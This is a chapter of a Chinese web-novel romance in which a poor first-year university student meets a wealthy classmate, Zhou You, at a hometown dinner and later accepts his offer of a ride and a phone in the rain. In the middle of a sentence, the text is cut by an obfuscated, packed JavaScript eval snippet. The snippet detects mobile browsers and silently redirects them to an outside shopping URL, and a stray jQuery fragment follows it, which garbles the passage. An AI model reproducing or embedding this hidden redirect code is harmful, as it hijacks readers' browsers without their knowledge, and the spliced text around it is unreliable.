她愣了愣。


    把手放在胸口上。


    ……那里有一颗心正在跳动。


    宋之琳，可是，你怎么会有这样的想法呢。


    她翻个身睡着了。


    醒过来，十八岁，踏入新世界。


    背着姐姐缝的单肩包，拖着行李箱，拎了个大大的蛇皮袋去的。


    火车人多。


    又吵又闹又挤。


    她一晚上没睡好。


    靠着窗朝外看，漆黑一片的路里不知道要走多久才是光。


    京城夏天却很漂亮。


    树很绿很高，站在路边能闻到一股青草香，阳光在缝隙里穿下来，单肩包上姐姐绣的她的名字闪闪发光。


    京城实在是太大。


    这块是大学城。


    有医科大学，也有警官学校。


    她推着箱子走在路上，还有辆越野车在她身旁停了停，车窗望进去是一张年轻的脸，寸头，模模糊糊的。


    她接着走。


    进了校门弯弯绕绕好一阵，志愿者帮她搬了行李，有个男生被推来推去笑着向她要企鹅号。


    她说她没有。


    对方一愣。


    她看着他手中的触摸屏手机，解释道自己用的还是老款，只能打电话。


    开学却实在是太热了。


    一群人僵持着。


    她神色无措，想走不敢走。


    幸好宿舍门被推开了。


    有人问：“你怎么不进来啊？”


    宋之琳连忙拉着箱子进去，“米西！我来了。”


    她有时候也不知道该如何评价自己。


    或许在外人看来，她不会拒绝，也不会发脾气，她就是这样一个普通的、性格也算不上有趣、常被人说老实的人，唯一好的也就是跟谁都能聊上几句，如果不是这张脸，怕是早就消失在人群里了。


    乔美希帮她把行李拿进来，给了她一个大大的拥抱。


    宋之琳也笑起来。


    两人像考拉那样一晃一晃。


    她垂在身后的马尾也跟着晃，一会擦过后背，一会擦过手臂，末尾沾了汗水，湿了。


    两人开心。


    多年好友大学还能在同宿舍。


    尽管这间宿舍不大，比高中的还要小些，两张上下铺，对面摆着连在一起的四张桌子。


    她们一起铺床单被子。


    又收拾好东西。


    乔美希挽着她说请她吃大餐。


    宋之琳捏了捏她的脸，“省着点吧大小姐，别像高中那样又花超了你妈妈骂你，校门口咱随便吃家店就好了。”


    “好吧好吧，不过我们可以去蹭大餐！我加了老乡群呢，九月底有聚餐，有人请客，到时候咱一起去啊。”


    “好。”


    “琳琳，那你接下来准备干嘛呀？”


    “快点找份兼职，然后去学生会应聘，再想想办法进课题组做科研。”


    “我就准备抱你大腿了！”


    两人笑作一团。


    晚上睡前。


    她给姐姐发了条消息说了今天。


    大学生活拉开帷幕。


    似乎是老天决心在她十八岁后弥补掉从前的不幸。


    她运气特别好。


    家教工作隔天就找到了。


    她并不准备做长久，只想当作跳板攒够考雅思的钱，到时候拿着成绩和辅导经验去应聘留学机构。


    工资高。


    而她后续的两个计划。


    学生会、科研。


    开学第一周周日。


    她去小教室参加学院组织的科研心得会，看见有人抱着个大箱子没带伞。


    她恰好带了，送人去活动室。


    一聊才知道两人相同专业，相同爱好，都喜欢清浦有名的那个男团，老家还离特别近。


    而这位学姐居然是学院科研部的负责人，早早进了课题组。


    两人投机。


    学姐格外喜欢她，恰好参加的比赛中缺人，就把她带上了，将她引荐着跟老师见了面。


    一番见面。


    她性格的老实无趣全盘暴露。


    好在肯吃苦，非要说的话，和谁都说得上几句话，脾气好到不正常了。


    好到学姐都担心了，说小宋你脾气得硬点啊，要是别人欺负你，一定要来说。


    不过实验室里都是好人。


    于是，她穿了唯一一件的那身蓝裙子，书包里是问乔美希借的电脑，在肿瘤实验所里有了自己的名字。


    她给姐姐打了个电话说了说。


    姐姐感慨运气好。


    她笑笑，忽然又道：“姐，下次回来我带你去体检吧，我们新生做体检报告给的可详细了。”


    “我身体好得很，倒是你，怎么样？”


    “没什么，就有点贫血。”


    “你别不舍得花钱，平时吃好点，我和珍珠你放心，我们好着呢。”


    “好。”


    她想了想又问了一嘴善情，问他好点了吗。


    姐姐意外她会好奇，不过还是回答了，说他治疗效果不错，出院了。


    总体来说，那段时间让人满足。


    满足到希望生活继续如此。


    参加老乡聚会那天。


    宋之琳还是那身衣服，背着包，只是把扎着的头发放了下来，整张脸素面朝天，脸小小的，皮肤又白又嫩。


    她长相是温柔那一挂的，看起来总会让人诞生保护欲，似乎被她看一眼，心头就像被一汪泉水泡了泡，因为一双眼睛尤为好看，水灵灵的。


    乔美希挽着她念个不停。


    说聚会来的人不多，五花八门的，各类专业都有，不知道能不能遇到高中同学呢。


    又说这回买单的人，和大家一样大，也是新生，地点在西餐厅，一顿饭可不便宜啊，真是个冤大头。


    进门时宋之琳瞥了眼菜单，心想以后有机会要带姐姐来吃一次。


    她们没吃过西餐。


    唯一一次还是姐姐在菜市场买了牛排、黑胡椒汁乱搞。


    可惜家里没有吃西餐用的刀，好不容易找出来两把水果刀，其中一把还是折叠的，她切到一半刀忽然就收了回去，牛排缓缓流出血水，盖过了胡椒汁的颜色。


    这会屋内人来的差不多了。


    乔美希是个自来熟的，一圈招呼打下来问：“主角哪位啊？谁请客？”


    有人笑着回，“周公子请。”


    “呀，周公子哪位啊？这么大气派。”


    那人仰着下巴一点，“喏，来了，门口。”


    宋之琳含着吸管，有一口每一口地咬柠檬水。


    她闻声看去。


    门拉开了。


    一人回头像是在催。


    有人双手插兜慢条斯理晃进来，做派看起来就是个玩世不恭的富二代，却剃了个寸头，浓眉大眼，鼻梁高挺，高挑又精瘦，穿了件黑色短袖，裸露在外的胳膊流露出肌肉曲线，掺杂了一股诡异的正气。


    老乡，周公子。


    长相不好惹。


    宋之琳听到身边有人说这就是房地产老板的儿子，超级富二代。


    ……善情。


    来的是去看过善情的那位大少爷。


    “你好。”


    宋之琳惊慌抬眼。


    她想的太入神，都没注意到人到了眼前。


    一口柠檬水含糊咽进去，从舌根钻出来涩味，又苦又难捱。


    而周公子看着她，定定地，一动不动。


    他手又朝前伸了伸，嗓音平缓，“你好。”


    她腰间被乔美希掐了下才反应过来。


    匆匆握上去，“你好，我是宋之琳。”


    两手相握。


    一瞬分离。


    他回：“我是周侑。”


    -


    那是他们第一次见面。


    在京城。


    聚会开完周公子的玩笑，就开始开宋之琳和周侑的玩笑。


    周侑插科打诨全糊弄过去，到最后面露冷色，谁都不敢说话了。


    宋之琳坐在他身旁，只觉得笑也不是，不笑也不是，虽然她面上始终挂着笑。


    那是一个漫长的夏天。


    一顿饭好不容易熬到吃完散伙。


    周侑起身刷卡签单。


    宋之琳觉得自己耳朵听玩笑听的茧子都要出来了，大赚一顿西餐即将转变为小赚一顿饭。


    她听的头昏脑胀，坐在原位把柠檬水喝的一干二净，舌尖又苦又涩。


    她悄咪咪抱起书包，和乔美希一起溜走了。


    正是周末。


    商场里人多又吵闹，闲聊声吵闹声飘到半空，把她脑袋挤得一个词语也冒不出来了。


    她因一场见面到了半空中，心也跟着晃荡，不知该如何评价自己了。


    也不知道该如何评价周公子。


    这也太明显了。


    越过所有人只和她握手。


    坐在她身旁频频看她。


    她都注意到他那个朋友一直看过来，嘴角泛着荡漾的笑。


    而自己……


    她又想起了善情的话。


    恋爱恋爱，恋爱说不定会更好。


    好烦。


    乔美希显然激动得多。


    一走远就挽着她絮絮叨叨。


    说自己刚刚上洗手间的时候啊，遇到了那位周公子的朋友，朋友情真意切，恳求撮合撮合，说周侑一看就是沦陷进去了，还问宋之琳喜欢啥类型的。


    她则故作正经，表示宋之琳喜欢学生气的，沉默寡言的，不说话的，穷点也没事，才不喜欢这种张扬的金钱豹。


    宋之琳听见金钱豹这三个字眼里泪光都笑出来了。


    乔美希说：“我看他那副吃惊样就知道周公子肯定和我说的完全相反，我就问他了，他说周公子读书时候就是个混混，低调的混混，报个警校大家还夸他洗心革面了呢。”


    她指尖朝前，“喏，周公子又来消费了，隔专卖店里买手机呢，自己都有了还买呢。”


    宋之琳看去。


    他朋友也在他身旁，张牙舞爪的。


    周公子靠在柜台旁站着，嘴角挂着懒散的笑，看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314808|198255||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起来真像是个电视剧里的老板。


    两人朝前走。


    乔美希说自己还要去别的地方。


    于是分开。


    宋之琳也没想着要去哪。


    她准备先走出这个商场再说。


    从正门出去。


    然后……去公交站台？


    站台似乎是什么活动中设计的，尤为显眼，过来时她一眼就看中了，像一个标志。


    谁知都没走几步。


    不过是刚出门跑到小一半。


    下雨了。


    一两秒就成了倾盆大雨。


    朝哪儿走都不是。


    宋之琳抱着书包咬咬牙朝最近的地方跑，她躲在商场屋檐下，进退两难。


    雨太大了。


    不敢走。


    而这包里装的还是乔美希的电脑。


    两人关系好，她借给她用，要是淋雨坏了，她心里不好意思，也无法一时就赔付，虽然乔美希肯定不会要她这个钱。


    又是一阵风。


    卷着水朝裸露的小腿上砸。


    清清凉凉，像雨雾过后敲响寺庙古钟的一声梵音。


    ……这还是在京城第一次看到这么大的雨。


    宋之琳这几年时常强迫自己去关注以前从未关注过的东西，比如花花草草，比如云和雨，雾和晴。


    此时此刻，她感到有一股湿意钻到鼻子里，丝丝凉意打在胳膊上缓解了些苦夏，她调整呼吸，深深吸了一口气，心总算平静下来。


    她希望这场雨能早点停。


    她生怕从早下到晚，回不了宿舍。


    雨更大了。


    密密麻麻。


    缭缭一场雾。


    忽的肩被谁戳了戳。


    她回头。


    撞进一双黑眸。


    那双眼缄默。


    雨丝砸在他身上，黑色短袖颜色更深了，小臂上挂着掉也掉不下去的水珠。


    是周侑。


    他实实在在站在面前时没了见面那会拒人于千里之外的样子，也没有混混的吊儿郎当。


    他沉默，寡淡，像一个不怎么说话的人，撑着伞，开门见山，“我可以送你吗？我自己开车来的，我买了车。”


    宋之琳愣住了。


    她发誓自己真的很想第一秒就回答。


    可她注意力完全到了车上。


    那么有钱？


    开学这才多久，都买车了？


    他笑了。


    低沉发闷，那双眼睛弯起来，喉结滚了滚，上面一颗小小的痣跟着颤，“我说错了，我应该说，宋之琳，我很喜欢你，能给我这个机会吗？雨太大了，我送你回家，不，回学校宿舍。”


    是。


    雨是太大了。


    宋之琳侧头看了出去。


    这块繁华。


    马路上车一辆接一辆，走走停停，红色的车尾灯也一个接一个地亮起来，看到的公交站台在雨天里成了毒蘑菇，格外显眼，底下挤满了躲雨的人。


    这场雨没头没尾，打乱了所有计划，雨丝重，雾蒙蒙的，成了一道灰蓝的屏障，于是他们两个就像是与世界隔绝。


    除了湿冷的雨催促般砸到身上。


    又冷又难受。


    周侑却并不急。


    他等待着。


    似是感到她在发抖，特意把伞倾斜着，更多地笼罩住她。


    啊，可是……好好的一天。


    才不要答应他呢，对吧？


    电视剧里女主角都是这样演的，拒绝之后才是回答。


    他却又开口，“这里打车很难的，挤公交也很难，这个城市太大了，人太多，去哪里都难，再遇到我这样的人，这种免费司机的人也很难得。”


    这样的话真像是主角在为自己行为动机补充说明的台词。


    ……算了。


    免费的。


    不上白不上。


    宋之琳看了眼斜上方雨天里都持续工作的监控，只觉得这像是他们唯一的观众。


    一句答应也说的不好意思。


    她连忙又问：“那你车停在哪里呀？”


    他说：“很近的地方，你在这里等我吧，我开过来。”


    她回答，“好。”


    “那我们可以加个联系方式吗？”


    “我的手机只能存电话号码。”


    “给你。”


    她一愣，盯着白色手提袋。


    他朝前递了递，“手机，送你，现在可以加个联系方式吗？”


    她默了默，“我自己的手机已经不确定有没有电了，至于号码……”


    “我买的时候重新办了卡，什么都弄好了，号主是你的名字，通讯录唯一的那个号码是我，至于备注，你想填什么填什么。”


    她缓缓抬眼。


    他看着她，“就不要问我为什么要这么对你好这种问题了，我只想说，这个手机就是买给你的，我对你一见钟情，而我想……还记得我的名字吗？”


    “周侑。”


    他似乎不意外。


    他只是回答：“宋之琳。”